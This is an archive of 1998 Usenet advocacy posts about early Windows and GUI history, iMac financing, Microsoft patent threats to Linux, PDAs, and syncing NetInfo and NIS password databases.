> Believe me, you don't want to run it on DR2. I completed and delivered a
> serviceable CR1 release over two months ago, and now I'm waiting just like
> everyone else.
*delivered* ... *two months ago* Also sounds like a Kremlin
analysis thread earlier. :-o
Todd
From: "Robert Fovell" <rfovell@yahoo.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Fri, 6 Nov 1998 23:15:39 -0800
Organization: ICGNetcom
Message-ID: <720s05$t5@dfw-ixnews3.ix.netcom.com>
References: <364295A3.ABE8C927@earthlink.net> <jpolaski-0611981014460001@d149-220.ce.mediaone.net> <ckoller-ya02408000R0611980933200001@netnews.worldnet.att.net> <atticus-0611982104450001@user-38lcd36.dialup.mindspring.com> <petrichF21FxH.3I4@netcom.com> <forrestDELETE-THIS!-0611982236160001@term3-28.vta.west.net>
Forrest Cameranesi wrote in message ...
>In article <petrichF21FxH.3I4@netcom.com>, petrich@netcom.com (Loren
>Petrich) wrote:
>
>> And even in the Intel-PeeCee world, there were some competing
>> GUI's in past years, such as Geos and GEM (does anyone remember those?).
>> If M$ had never gotten into Windoze, those would have had a chance to
>> become significant competitors for IBM's OS/2.
>
>I remember hearing something about MS not being interested in creating a
>GUI for DOS initially, when there was just the Mac. But when one of their
>chief competitors, the company who made VisiCalc, began to do so (VisiON),
>MS used their prototype Mac as a template to crank out Program Manager
>1.0, which later became PM2, and reached general usability in Windows 3.0.
>Can anyone validate this?
My information (remember what you've paid for it, but I'm quoting out of
books from my bookshelf as I type):
VisiOn as a GUI for the IBM PCs was demoed first in 1982, before the Apple
Lisa arrived. However, it was of poor quality, DOS-incompatible, and its
hardware requirements were hefty (I don't recall seeing it, myself).
Microsoft's Mac development began in 1982, shortly after the IBM PC was
introduced. Microsoft announced their intent to provide Windows in late
fall 1982, prior to the famous January, 1984 Macintosh launch but well after
the early 1983 introduction of the Lisa. MS' Windows announcement might
have been inspired by VisiOn, but my information suggests by that time,
VisiOn was toast. Besides, it's well known Bill Gates loved the Mac... far
more than his faithful minions on CSMA, anyway :-)
Windows 1.0 wasn't delivered until sometime in 1985, actually, and Windows
2.0 followed in 1988. Windows 3.0 and 3.1 followed in early 1990 and early
1992, respectively. The rest, as they say, is history. I also now do not
recall knowing anyone who used any version of Windows prior to 3.1, tho I've
seen screenshots of those earlier versions.
--
Robert Fovell / UCLA Atmospheric Sciences / Los Angeles, CA
http://uniblab.atmos.ucla.edu/~fovell [science page]
http://home.earthlink.net/~rfovell [PC parody page]
"That's not what a Mac does. I want Mac on the PC,
I want Mac on the PC." -- Bill Gates
From: "Robert Fovell" <rfovell@yahoo.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Fri, 6 Nov 1998 23:24:27 -0800
Organization: ICGNetcom
Message-ID: <720sgk$1d2@dfw-ixnews3.ix.netcom.com>
References: <364295A3.ABE8C927@earthlink.net> <jpolaski-0611981014460001@d149-220.ce.mediaone.net> <ckoller-ya02408000R0611980933200001@netnews.worldnet.att.net> <atticus-0611982104450001@user-38lcd36.dialup.mindspring.com> <petrichF21FxH.3I4@netcom.com> <forrestDELETE-THIS!-0611982236160001@term3-28.vta.west.net> <720s05$t5@dfw-ixnews3.ix.netcom.com>
Robert Fovell wrote in message <720s05$t5@dfw-ixnews3.ix.netcom.com>...
>My information (remember what you've paid for it, but I'm quoting out of
>books from my bookshelf as I type):
>
>VisiOn as a GUI for the IBM PCs was demoed first in 1982, before the Apple
>Lisa arrived. However, it was of poor quality, DOS-incompatible, and its
>hardware requirements were hefty (I don't recall seeing it, myself).
>Microsoft's Mac development began in 1982, shortly after the IBM PC was
>introduced. Microsoft announced their intent to provide Windows in late
>fall 1982, prior to the famous January, 1984 Macintosh launch but well
after
^^^^^^^^^^^
"late fall **1983**" Sorry; damned typoes.
>the early 1983 introduction of the Lisa. MS' Windows announcement might
>have been inspired by VisiOn, but my information suggests by that time,
>VisiOn was toast. Besides, it's well known Bill Gates loved the Mac... far
>more than his faithful minions on CSMA, anyway :-)
>
>Windows 1.0 wasn't delivered until sometime in 1985, actually, and Windows
>2.0 followed in 1988. Windows 3.0 and 3.1 followed in early 1990 and early
>1992, respectively. The rest, as they say, is history. I also now do not
>recall knowing anyone who used any version of Windows prior to 3.1, tho
I've
>seen screenshots of those earlier versions.
--
Robert Fovell / UCLA Atmospheric Sciences / Los Angeles, CA
http://uniblab.atmos.ucla.edu/~fovell [science page]
http://home.earthlink.net/~rfovell [PC parody page]
"That's not what a Mac does. I want Mac on the PC,
I want Mac on the PC." -- Bill Gates
From: "Todd Heberlein (todd at NetSQ dot com)" <todd@dev.null>
Newsgroups: comp.sys.next.advocacy
Subject: Re: iMac for $29
Date: 7 Nov 1998 07:17:26 GMT
Organization: Net Squared, Inc.
Message-ID: <01be0a1d$a5c43060$06387880@chewy>
References: <azF02.13909$yb5.13282084@news.rdc1.sdca.home.com> <01be09b9$ccdf2b50$06387880@chewy> <IkJ02.13934$yb5.13282084@news.rdc1.sdca.home.com>
Rex Riley <rr6013@yahoo.com> wrote
> Oh, please... us folks who are Mhz watchers just look at old
> machines as useless. The original Mac 128 suited my tasks for
> 6 years. The first-timers should find the iMac more than useful
> with a G3 and network connection for that period of time. IMHO,
> I still think it is breirilliant to get the iMac in to peoples
> hands who otherwise would not have an affordable chance.
First, let me agree with you. For not much more than a soda per day
from a vending machine you can own a computer. I hope Apple points out
the "just a dollar a day" theme in their ads.
And while it will cost the owner more in the long run, that is the
nature of loans. I just finished paying off my 5 year car loan and
signed a 30 year loan for a new home. The paperwork show how much you
pay in interest vs. actual cost :-O
However, where I differ...
(1) Paying monthly payments for my brand new car was easy to take.
Paying the same monthly payments after four years, 70,000 miles, and a
number of scratches was much harder. I worry about people's good will
when still paying the same for their four year old computer as when it
was new.
(2) Back in 1983 I helped sell computers at our local Computer Land.
When asked about computers becoming obsolete, I used (and believed) the
line "Whatever you do with your computer today, you will still be able
to do it tomorrow".
However, because of networking that is no longer true. I exchange
documents with people, so I am forced to upgrade my applications
regularly (e.g., having to upgrade for the new PowerPoint or Word
documents - great scheme Microsoft has going: get half of the people to
upgrade and it forces the other half to upgrade as well).
Also, "new" and "improved" software usually runs slower and requires
more resources (memory, disk, screen space, colors, ...) than previous
versions. So as time goes on, it appears that your computer is less
and less capable.
Todd
PS. Cheap shot: does Apple plan to support 67 month old Macintoshes
with MacOS X? (Sorry, I couldn't resist. Take it with a wink ;-)
From: NOSPAMmbkennelNOSPAM@yahoo.com (Matt Kennel)
Newsgroups: comp.os.linux.advocacy,misc.int-property,comp.sys.next.advocacy
Subject: Re: YIKES! "The effect of patents and copyright in combatting Linux...."
Date: 7 Nov 1998 07:31:45 GMT
Organization: Univ of Calif San Diego
Message-ID: <slrn747tqv.o5s.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
References: <DD6CE4BCBE7DD018.BF7AE60A8BACC55A.E139FC59512EEA81@library-proxy.airnews.net> <36425AFD.D0D8EC3D@solarsystems.com> <36426F6E.2AED1A73@cygnus.com>
NNTP-Posting-Date: 7 Nov 1998 07:31:45 GMT
On Thu, 05 Nov 1998 19:39:26 -0800, John Rudd <jrudd@cygnus.com> wrote:
:Lets explore the issue a little further..
:
:
:lets say MS finds a patent issue to cause commercial distributors (redhat,
:caldera, even walnut creek) to cease their linux business.
The actual people who wrote various parts of the kernel or other
software are quite identifiable. Microsoft could personally sue them
and probably ruin many of them, and get a restraining order preventing
them from doing any more work with the infringing software.
They could sue any company which deployed Linux in large quantities,
and they could sue VA Research, and they could threaten to sue any big
PC company which dared license Linux, except IBM, which has a broad
cross-patent agreement with Microsoft. (IBM might turn out be the
only company able to distribute a patent-infringing Linux, oddly
enough).
Microsoft would certainly generate great ill will, but that hasn't
ever stopped them before.
:2) Does a patent issue have ANY legal impact on non-commercial
:distributions
There is some fair use provision, but generally only for research.
If you are just using the thing to use it in its intended design, it
probably won't fly.
:2) what's to stop Linux users from going back to floppy distributions for
:the base OS, and then doing FTP for everything that isn't in legal
:question? (and perhaps re-writing those modules that are in legal dispute)
It might not matter how they wrote the code, if the protocol itself
were somehow patented. E.g. the next version of SMB.
--
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD
*
* "To chill, or to pop a cap in my dome, whoomp! there it is."
* Hamlet, Fresh Prince of Denmark.
From: jcr.remove@this.phrase.idiom.com (John C. Randolph)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: 7 Nov 1998 07:46:53 GMT
Organization: Idiom Communications
Message-ID: <720ttd$b9$2@news.idiom.com>
References: <364295A3.ABE8C927@earthlink.net> <jpolaski-0611981014460001@d149-220.ce.mediaone.net>
<ckoller-ya02408000R0611980933200001@netnews.worldnet.att.net> <atticus-0611982104450001@user-38lcd36.dialup.mindspring.com>
<petrichF21FxH.3I4@netcom.com> <forrestDELETE-THIS!-0611982236160001@term3-28.vta.west.net>
<720s05$t5@dfw-ixnews3.ix.netcom.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: rfovell@yahoo.com
"Robert Fovell" may or may not have said:
-> Forrest Cameranesi wrote in message ...
-> >In article <petrichF21FxH.3I4@netcom.com>, petrich@netcom.com (Loren
-> >Petrich) wrote:
-> >
-> >> And even in the Intel-PeeCee world, there were some competing
-> >> GUI's in past years, such as Geos and GEM (does anyone remember
those?).
-> >> If M$ had never gotten into Windoze, those would have had a chance to
-> >> become significant competitors for IBM's OS/2.
-> >
-> >I remember hearing something about MS not being interested in creating a
-> >GUI for DOS initially, when there was just the Mac. But when one of their
-> >chief competitors, the company who made VisiCalc, began to do so
(VisiON),
-> >MS used their prototype Mac as a template to crank out Program Manager
-> >1.0, which later became PM2, and reached general usability in Windows
3.0.
-> >Can anyone validate this?
->
-> My information (remember what you've paid for it, but I'm quoting out of
-> books from my bookshelf as I type):
->
-> VisiOn as a GUI for the IBM PCs was demoed first in 1982, before the Apple
-> Lisa arrived. However, it was of poor quality, DOS-incompatible, and its
-> hardware requirements were hefty (I don't recall seeing it, myself).
Let's not forget VisiCorp's greatest sin that prevented VisiOn from going
anywhere. They wanted you to comit a *stupid* amount of money to develop
apps, buy time on a Prime machine, and submit your whole business plan to
VisiOn for approval.
It's rather like when Apple refused to let game developers use MacApp.
-> Microsoft's Mac development began in 1982, shortly after the IBM PC was
-> introduced. Microsoft announced their intent to provide Windows in late
-> fall 1982, prior to the famous January, 1984 Macintosh launch but well
after
-> the early 1983 introduction of the Lisa. MS' Windows announcement might
-> have been inspired by VisiOn, but my information suggests by that time,
-> VisiOn was toast. Besides, it's well known Bill Gates loved the Mac...
far
-> more than his faithful minions on CSMA, anyway :-)
Yeah, VisiCorp did themselves in, long before MicroSquish had any kind of
leverage to screw them over.
-jcr
--
What the Bard *should* have said: "All the World's a Stage, and
all the Men and Women rather poorly rehearsed."
From: Steve Kellener <skellener@earthlink.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: iMac for $29
Date: Fri, 06 Nov 1998 23:46:03 -0800
Content-Transfer-Encoding: 7bit
References: <azF02.13909$yb5.13282084@news.rdc1.sdca.home.com> <01be09b9$ccdf2b50$06387880@chewy>
Content-Type: text/plain; charset=us-ascii
Organization: EarthLink Network, Inc.
Mime-Version: 1.0
Message-ID: <3643FAB7.67C1@earthlink.net>
Todd Heberlein (todd at NetSQ dot com) wrote:
> $29/month for 67 months!! That is a long time, especially in
> computer/internet years. That little iMac is going to look pretty slow
> when you are still paying $29/month in 2004.
>I hope Apple implements an upgrade path for these folks.
Hey Todd,
Think about paying 100 bones a month....that gives you a cool new iMac
right now and you'll have it paid off in about a year. Let's
see....it's a G3 right? So it can be upgraded to Mac OS X. Pretty damn
good deal if you ask me.
Steve
From: donarb@nwlink.com (Don Arbow)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Sat, 07 Nov 1998 01:54:46 -0800
Organization: EveryDay Objects, Inc.
Message-ID: <donarb-0711980154460001@192.168.0.2>
References: <364295A3.ABE8C927@earthlink.net> <yl3ww58h3tp.fsf@shell8.ba.best.com> <Jediofmacs-0611981735130001@usr12.lightlink.com>
In article <Jediofmacs-0611981735130001@usr12.lightlink.com>,
Jediofmacs@MANGOaol.com (tdean) wrote:
:
: Microsoft does listen to customers! However, they don't do anything after
: that, such as doing what the customers said.
:
Actually Microsoft *spies* on its customers. The box uploads all TV
viewing and web pages visited to headquarters using the required phone
line.
http://www.zdnet.com/zdnn/stories/zdnn_smgraph_display/0,4436,2148062,00.html
Don
--
Don Arbow, Partner, CTO
EveryDay Objects, Inc.
mailto:donarb@nwlink.com
http://www.edo-inc.com
From: "Steven M. Scharf" <scharf@grin.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Avie's testimony: Now we know what happened to Rhapsody
Date: Sat, 7 Nov 1998 03:17:21 -0800
Organization: newsread.com ISP News Reading Service (http://www.newsread.com)
Message-ID: <721abe$1hm@netaxs.com>
References: <71kj6v$f4j@shelob.afs.com> <71sgds$gdb@netaxs.com> <1di0nr8.1ar7dvtsb96oN@p044.intchg2.net.ubc.ca>
Bruce Bennett wrote in message
<1di0nr8.1ar7dvtsb96oN@p044.intchg2.net.ubc.ca>...
>Heh. A good argument, which will become almost credible when WinCE shows
>signs of innovation and (above all) technical advantages.
If you've ever seen the demos of WinCE on the Philips Nino and the
equivalent Casio, you'll see that they have a couple of very useful
features that are not available in the PalmOS and the Pilot.
Convincing until you talk to people who actually have the WinCE
based machines and hear the complaints about the lack of software
(the most common complaint about Apple's too) and battery life.
The OS isn't responsible for the lack of software or the expensive
hardware in the case of Apple or WinCE, but these two problems
can't be overcome by a better OS.
Unfortunately for WinCE, few people care about those features
of the OS enough to switch. Two of the crucial features of the hardware,
physical size and battery life are much better on the Pilot. Also the
Pilot costs less. That's why the analogy is so relevant. A better OS
does not sell computers. An adequate feature set at the right price
points sells computers. This is why, after the religious people bought
their iMacs, you see sales slowing. By XMAS, every top tier company
will have PCs that are more fully featured than the iMac selling for
$600 or less. Whines that the CPU of the iMac is higher performance
than the K6 or M-II in those machines will fall on deaf ears--no one
cares.
>For real credibility, though, we'll need to see 3COM pushing a strategy
>of "PalmOS Everywhere", and to believe that it just might succeed.
Hey, Bill Gates has been preaching for years about how he thinks
that people will have a 'wallet PC.' And whaddayaknow it seems to
be happening with the Palm Pilot. It wasn't quite what he had in mind
though. I thought it was totally crass of Microsoft when they tried to
co-opt the 'Palm' name and call the PDAs with WinCE, Palm PCs.
Steve
From: ckoller@worldnet.att.net (Craig Koller)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: 7 Nov 1998 15:35:22 GMT
Organization: AT&T WorldNet Services
Message-ID: <ckoller-0711980741360001@95.san-francisco-04.ca.dial-access.att.net>
References: <364295A3.ABE8C927@earthlink.net> <jpolaski-0611981014460001@d149-220.ce.mediaone.net> <ckoller-ya02408000R0611980933200001@netnews.worldnet.att.net> <atticus-0611982104450001@user-38lcd36.dialup.mindspring.com>
In article <atticus-0611982104450001@user-38lcd36.dialup.mindspring.com>,
atticus@mindspring.com (Andy Walton) wrote:
> In article <ckoller-ya02408000R0611980933200001@netnews.worldnet.att.net>,
> ckoller@worldnet.att.net (Craig Koller) wrote:
>
> :However, without Wintel, we'd probably still be paying $10K for the
> :equivalent of a Quadra 650.
>
> If you EVER paid $10K for a Quadra 650, you got snookered.
>
No, I mean that the existence of Wintel (and the stiff competition on that
hardware side) has impacted both the speed and price of the Mac. PowerPC
would have never happened without Wintel pressure. $1299 iMacs would never
have happened either. That's why it's completely idiotic for any of us to
wish for the demise of either platform, of course I hear this sentiment
primarily from the Wintel side...
From: "James L. Ryan" <bosworth@waterw.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Sat, 07 Nov 1998 13:37:05 -0500
Organization: Taliesin
Message-ID: <72240n$r9a@sea.waterw.com>
References: <364295A3.ABE8C927@earthlink.net>
<jpolaski-0611981014460001@d149-220.ce.mediaone.net>
<ckoller-ya02408000R0611980933200001@netnews.worldnet.att.net>
<atticus-0611982104450001@user-38lcd36.dialup.mindspring.com>
<petrichF21FxH.3I4@netcom.com>
<forrestDELETE-THIS!-0611982236160001@term3-28.vta.west.net>
<720s05$t5@dfw-ixnews3.ix.netcom.com>
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I was an exhibitor at a computer conference in Seattle held in mid 1985. The
product I was demonstrating used an IBM PC as the user's workstation. A
friend who worked at Microsoft gave me a pre-release version of Windows 1 to
run on the workstation. At that time the user interface consisted of a group
of tiled windows and an icon bar along the bottom of the screen. I don't
recall there being any means of having overlapping windows. Whenever a new
window was needed one of the currently open windows was split in half,
either horizontally or vertically, to provide the space for the new window.
The boundaries between the windows could then be dragged to change the sizes
of the currently open windows. At any time, all of the open windows had some
visibility on the screen. The contents of a window could optionally be set
to scale whenever the size of a window was changed. The open window could
also have the property of being a sliding viewport to the underlying
content. This version of Windows was designed by a fellow who was known in
much of the computing world as "Dr. Tiles" (I can no longer remember his
real name) due to his vehement insistance that overlapping windows were not
the way to go and presented the user with what he, Dr. Tiles, considered an
unusable interface.
--
James L. Ryan -- bosworth@waterw.com
From: don@misckit.com (Don Yacktman)
Newsgroups: comp.os.linux.advocacy,misc.int-property,comp.sys.next.advocacy
Subject: Re: YIKES! "The effect of patents and copyright in combatting Linux...."
Date: 7 Nov 1998 19:41:36 GMT
Organization: MiscKit Development
Message-ID: <7227pg$kgh$1@news.xmission.com>
References: <DD6CE4BCBE7DD018.BF7AE60A8BACC55A.E139FC59512EEA81@library-proxy.airnews.net> <36425AFD.D0D8EC3D@solarsystems.com> <36426F6E.2AED1A73@cygnus.com> <71u48m$dop$3@news.xmission.com> <3643C311.689A8771@hex.net>
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"Peter A. Koren" <pkoren@hex.net> wrote:
> Don Yacktman wrote:
> > Well, I still see one possible situation that could be a problem.
> > I've seen this happen before. The gist of the argument is this:
> >
> > (1) You know that you'd win a suit if filed
> > (2) But even so, the defense would be costly
> > (3) So you don't do it, even though you'd be able to win, because
> > the cost is too high
>
> Don, you forget one thing. While the Judicial system might fail to
> yank its head out from its nether sphincter, our foreign friends are
> unlikely to go along and support the Microsoft borg. The courts can
> only make some Americans kiss Bill Gate's vertical smile. Linux may
> get combat scars, but it will live and prosper.
Other countries have courts, laws, and patents, too. MS is less _likely_ to
get away with the same bull**** on foreign turf as what the US seems to
embrace...but that doesn't mean that they won't try some hijinks overseas,
too.
But keep in mind that I also said that a move like this by MS would at worst
only *slow* Linux's momentum--not kill Linux all together. Eradicating Linux
would be like trying to remove a particularly widespread cancer--it is just
too spread through the nooks and crannies to root it all out. For reasons I
already mentioned, plus the overseas factor you suggest, I don't think MS is
big enough to utterly smash Linux. That doesn't mean Linux supporters should
get smug about themselves and what they have though--complacency right now
would be more damaging than anything MS could do of its own accord!
> I urge our allies outside of the influence of our American legal
> circus to organize and to to oppose M$ thuggery in their own
> countries. Fight to get Linux recognized and used by all public
> organizations which use computers. I hear that France and Mexico are
> moving in that direction.
>
> We are winning. Just keep fighting.
^^^^^^^^^^^^^^^^^^^
Absolutely!
--
Later,
-Don Yacktman
don@misckit.com
<a href="http://www.yacktman.org/don/index.html">My home page</a>
From: "Charles Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Dilemma
Date: Sat, 07 Nov 1998 21:30:27 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <722e5j$qd4$1@nnrp1.dejanews.com>
References: <71aovh$hkc@newsb.netnews.att.com> <IH9_1.12069$yb5.8700168@news.rdc1.sdca.home.com> <71ikln$94o@news1.panix.com> <S8u%1.13045$yb5.11042283@news.rdc1.sdca.home.com> <71m90v$gsa@news1.panix.com> <P5H%1.13165$yb5.11439671@news.rdc1.sdca.home.com> <71o4se$lsc$1@nnrp1.dejanews.com> <A5N%1.13242$yb5.11558948@news.rdc1.sdca.home.com> <71qjm4$2ko$1@nnrp1.dejanews.com> <3640DCAA.9E8FC69C@ericsson.com> <71r4q3$phq$1@nnrp1.dejanews.com> <3641D1BB.87B4A728@ericsson.com> <71tc5f$nfl$1@nnrp1.dejanews.com> <36435772.814C87DA@ericsson.com>
In article <36435772.814C87DA@ericsson.com>,
Michael Peck <michael.peck@ericsson.com> wrote:
> Charles Swiger wrote:
>> I could go into that whole notion of repeatable, refutable, and testable
>> evidence, but we all know where that would go....
>
> [smirk]
_There's_ an intelligent reaction.
>>> you should have evened the playing field first...if you had
>>> integrity, that is.
>>
>> I have integrity. I'd be offended by a comment like that from someone who
>> knew me and I respected. You don't qualify.
>
> Why should you despise me, Chuck?
Because you haven't changed much since the last time this question came up.
> Especially when I hold you in such high esteem. It seems a shame.
Attempted sarcasm isn't one of your prettier failings.
>> My question was not offensive. Some of the implications of my question may
>> or may not be offensive, but whatever. Rex didn't seem to take it as a
>> personal attack, so why should you?
>
> What does Rex's reaction have to do with it?
He was the one I addressed my question to.
> He's been phlegmatic in the
> face of rather numerous questions of that sort from you. I don't take
> offense on Rex's behalf, I just take offense at your question and the
> characteristic attitude it represents.
"Characteristic" of what? That I expect people to back up what they claim to
be facts?
[ ...odd comments that don't make much sense to me... ]
>>> What surprises me is what you took offense at:
>
> [...]
>
>>> What in the world does this have to do with your question?
>>
>> I wrote that; why would I take offense at it?
>
> You're trying to be funny?
No, I'm confused. You quoted something I wrote, and claimed to be surprised
that I (supposedly, anyway) took offense at it.
>> As for your question, I don't attempt to argue from a position of authority,
>> because my arguments can stand or fall on their own merits. I don't need to
>> bolster them with props.
>
> Well, good. So why can't Rex's arguments stand or fall on their own
> merits?
They can. I was questioning his underlying assumptions (what he claimed to be
a fact), not his argument (the reasoning he used to draw his conclusions).
Unfortunately, Rex does not seem to be able to provide publicly available
references to document his claim. I've produced some related facts which seem
to disagree, but that's not enough to refute what he said, either. I don't
think it's likely, but his conclusions might be right.
-Chuck
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: "Charles Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Microsoft and open source
Date: Sat, 07 Nov 1998 22:11:28 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <722gig$s5f$1@nnrp1.dejanews.com>
References: <71l58n$oh5@newsb.netnews.att.com> <ckoller-0211982206560001@127.san-francisco-05.ca.dial-access.att.net> <71pl5d$cec@papoose.quick.com> <3640795E.CF924665@ericsson.com> <71qa29$k42@papoose.quick.com> <3640DBD9.17D3332F@ericsson.com> <71r6a5$r41$1@nnrp1.dejanews.com> <3641D68F.25527651@ericsson.com> <71t6up$gjr$1@nnrp1.dejanews.com> <36422E5A.3E7CE996@ericsson.com> <71ucd2$rck$1@news.idiom.com> <36433A73.8FF7D742@cygnus.com> <71vu1m$srd$1@nnrp1.dejanews.com> <36439F4B.6DC8E266@cygnus.com>
In article <36439F4B.6DC8E266@cygnus.com>,
John Rudd <jrudd@cygnus.com> wrote:
> Charles Swiger wrote:
[ ... ]
>>> Conversly, if you use "nidump passwd . > /etc/passwd", and they change
>>> their password via the flatfiles, again it gets clobbered by Netinfo.
>>
>> This makes even less sense. /etc/passwd is not changeable by users on any
>> Unix system (unless system security is completely disabled, in which case
>> everyone might as well be logging in as root).
>
> Um.. Chuck, I think you have completely missed what I was saying..
That's possible.
> I didn't say users can directly change the password file, I said change their
> password.
"...change their password via flatfiles" is precisely what you said.
However, users don't change their password via the /etc/passwd (and
/etc/shadow) flatfile(s). They use a program like passwd, because the
flatfiles are only changable by the superuser.
Yeah, this might seem like nitpicking, but there's a good reason for it.
[ ... ]
> You have a NetInfo domain that is subservient to your NIS domain. If a
> user changes their password on a box that is part of the NetInfo domain
> (ie. not directly under the NIS domain),
You're talking about a case where neither the NetInfo nor the NIS domain is a
subset of the other.
That wasn't clear before, but okay. Given my druthers, I'd try hard to make
one domain completely subordinate to the other, and then replace passwd with
yppasswd (or vice versa). Anyway, let's assume we can't for some odd reason,
and go with your example as-is.
> then everytime your periodic "ypcat passwd | niload passwd ." cron job
> runs, it will clobber their NetInfo based password, because NIS and NetInfo
> don't know which password entry is more recent.
I'd probably solve this problem by creating a replacement passwd binary on all
of the NetInfo machines that updated the NIS passwd and NetInfo
simultaneously. Since source code for replacement passwd's (ie, passwd+ etc)
is available, this is easily done.
(Unless the Password Preferences module does not call passwd to do the work,
in which case you'd need to replace that too. More work, but again not very
difficult.)
There are some other solutions that also come to mind, but they'd be more
complicated to implement.
[ ... ]
> You have a network of flat-file controlled hosts that somehow obtain their
> flat files from some NetInfo host/network (ex: a central host that is part
> of the NetInto domain that dumps its password file to a flat file
> periodically, and then rdists it out to the non-NetInfo hosts). If a user
> changes their password on a box that is part of the "flat file domain" (ie.
> not directly under the control of NetInfo), then every time your periodic
> "nidump passwd . > /etc/passwd ; rdist script" routine, it will clobber
> their password change because, again, there is no way the system can know
> which password is more correct. Thus, users MUST change their passwords
> via a NetInfo box, even if that's the only thing they ever use the NetInfo
> box for.
Again, I'd probably modify the passwd on the flatfile machines to update
NetInfo. If that was unfeasible, I'd probably not create NetInfo accounts for
those users who never use NetInfo machines.
Better yet, I'd probably swap out this flatfile-based admin for NIS, and just
work on the NetInfo/NIS integration. If the needs of the userbase demand
tight integration instead of having the users know which machine to change
their passwords on, then it's simply a case of making sure your management
allocates time for you to create a decent solution.
Also, I've heard a few comments about a product called Sharity, which
supposedly enables full peering (in the sense you mean it) between NetInfo and
other administrative domains like an NT PDC, or YP/NIS. Haven't tried it,
though.
[ ... ]
-Chuck
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: Robert Fovell <rfovell@yahoo.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Sat, 07 Nov 1998 16:41:50 -0800
Organization: University of California, Los Angeles
Message-ID: <3644E8C1.25979A2B@yahoo.com>
References: <364295A3.ABE8C927@earthlink.net> <petrichF21FxH.3I4@netcom.com> <forrestDELETE-THIS!-0611982236160001@term3-28.vta.west.net> <720s05$t5@dfw-ixnews3.ix.netcom.com> <722lc8$bin@newsb.netnews.att.com>
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gupta@knim.tm.tta.moc-mirror, after, @ wrote:
>
> Robert Fovell <rfovell@yahoo.com> wrote:
>
> >I also now do not
> >recall knowing anyone who used any version of Windows prior to 3.1, tho I've
> >seen screenshots of those earlier versions.
>
> I found in my office at the phone company a copy of Windows 3.0,
> still in its original shrinkwrap. I suppose if the distribution
> is on 3.5" disks, and if my Mac can still read them, then since
> I have Virtual PC, I could try booting up on it. Or might the
> original shrinkwrap box be more interesting as a historical curiousity ?
Arun, by all means don't break the shrinkwrapped seal! Two reasons:
(1) It is a collector's item. My gosh, someone out there will pay big money
for that thing;
(2) It's been festering in that hermetically sealed box for years. Do you
have any idea what it could have morphed into? Opening it could unleash a
plague that might wipe out mankind ;-)
--
Robert Fovell / UCLA Atmospheric Sciences / Los Angeles, CA
http://uniblab.atmos.ucla.edu/~fovell [science page]
http://home.earthlink.net/~rfovell [PC parody page]
"That's not what a Mac does. I want Mac on the PC.
I want Mac on the PC." -- Bill Gates
From: tzs@halcyon.com (Tim Smith)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: 7 Nov 1998 11:49:37 -0800
Organization: Institute of Lawsonomy
Message-ID: <72288h$bec$1@52-a-usw.rb1.blv.nwnexus.net>
References: <364295A3.ABE8C927@earthlink.net>
Cache-Post-Path: 52-a-usw.rb1.blv.nwnexus.net!tzs@localhost
Robert Fovell <rfovell@earthlink.net> wrote:
>http://www.newsbytes.com/pubNews/120947.html
...
>I'm not a lawyer [nor do I want to be one], but I'm surprised Avie's testimony
>about a meeting which he did *not* attend was admitted. Isn't that hearsay?
>[1]. Of course, my knowledge of the law owes as much to Perry Mason and
>Grisham novels as it does to academically valid sources, so... say no more ;-)
I didn't see in that story where it said he did not attend that meeting. If
he didn't, it sure does look like hearsay. I can't think offhand of any
hearsay exceptions it would fall into (and I'm too lazy to rumage around my
bookshelves for my copy of the Federal Rules of Evidence to check for sure).
--Tim Smith
From: philipc@es.co.nz (Philip Charles)
Newsgroups: comp.os.linux.advocacy,misc.int-property,comp.sys.next.advocacy
Subject: Re: YIKES! "The effect of patents and copyright in combatting Linux...."
Date: 8 Nov 1998 02:12:44 GMT
Organization: Copyleft
Message-ID: <910487383.597335@Chaos.es.co.nz>
References: <DD6CE4BCBE7DD018.BF7AE60A8BACC55A.E139FC59512EEA81@library-proxy.airnews.net> <36425AFD.D0D8EC3D@solarsystems.com> <36426F6E.2AED1A73@cygnus.com> <slrn747tqv.o5s.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
Cache-Post-Path: Chaos.es.co.nz!philipc@p37-max2.dun.ihug.co.nz
My NZ$0.02 worth. A New Zealand distributor's perspective.
I download regularly from the UK, Australia, Germany, the USA as well as New
Zealand. I have pulled material from Eastern Europe (were I saw an archive
of Win 98) and other places. The US restrictions on some security software
has no effect on my distributing it. I am not a US citizen or resident.
There would never be any difficulty in getting the latest distribution, it
might be from India | Poland | Zambia | Russia | where ever.
I would be happy to provide Linux CDs to US residents in plain-paper
wrappers if GNU/Linux got bogged down in a legal morass. This would not
just be because of profit - the Linux community sticks together. I would be
happy for copies to be burnt. I would imagine that 90+% of distributors
outside the US would act in exactly the same way.
The international GNU/Linux community is large enough to survive without the
USA, but it would be a loss.
GNU/Linux cannot be stopped, even inside the US.
